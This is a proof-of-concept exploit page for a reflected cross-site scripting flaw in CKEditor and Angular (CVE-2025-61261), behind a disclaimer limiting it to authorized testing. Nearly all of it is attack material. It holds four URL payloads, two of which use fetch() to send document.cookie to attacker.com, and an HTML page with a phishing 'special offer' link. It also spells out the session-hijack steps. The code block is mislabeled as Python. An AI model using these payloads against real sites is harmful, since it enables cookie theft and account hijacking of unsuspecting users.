A reflected cross-site scripting (XSS) vulnerability in CKeditor v46.1.0 & Angular v18.0.0 allows attackers to execute arbitrary code in the context of a user's browser via injecting a crafted payload.
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-61261 PoC - Reflected XSS in CKEditor/Angular -->
<!-- Attacker creates malicious URL with XSS payload -->
<!-- Example 1: Basic script injection via URL parameter -->
<!-- https://target-site.com/editor?content=<script>alert(document.cookie)</script> -->
<!-- Example 2: Event handler injection -->
<!-- https://target-site.com/preview?data=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> -->
<!-- Example 3: JavaScript protocol injection -->
<!-- https://target-site.com/ckeditor?return_url=javascript:alert('XSS') -->
<!-- Example 4: Angular template injection variant -->
<!-- https://target-site.com/angular-component?input={{constructor.constructor('alert(1)')()}} -->
<!-- HTML PoC for demonstration -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-61261 PoC</title>
</head>
<body>
<h2>CVE-2025-61261 Reflected XSS PoC</h2>
<p>Click the link below to test the vulnerability:</p>
<!-- Malicious link that reflects unsanitized input -->
<a href="http://target-site.com/editor?content=<script>alert('XSS Vulnerability - CVE-2025-61261')</script>" target="_blank">
Click here for "special offer"
</a>
<script>
// This PoC demonstrates how attacker can steal session cookies
// In real attack, the following would be injected via URL parameter:
// <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
// The attack flow:
// 1. Attacker crafts malicious URL with XSS payload
// 2. Victim clicks the link (via phishing, social engineering)
// 3. Server reflects the payload without sanitization
// 4. Victim's browser executes the injected script
// 5. Attacker's server receives victim's session cookie
// 6. Attacker hijacks victim's session
</script>
</body>
</html>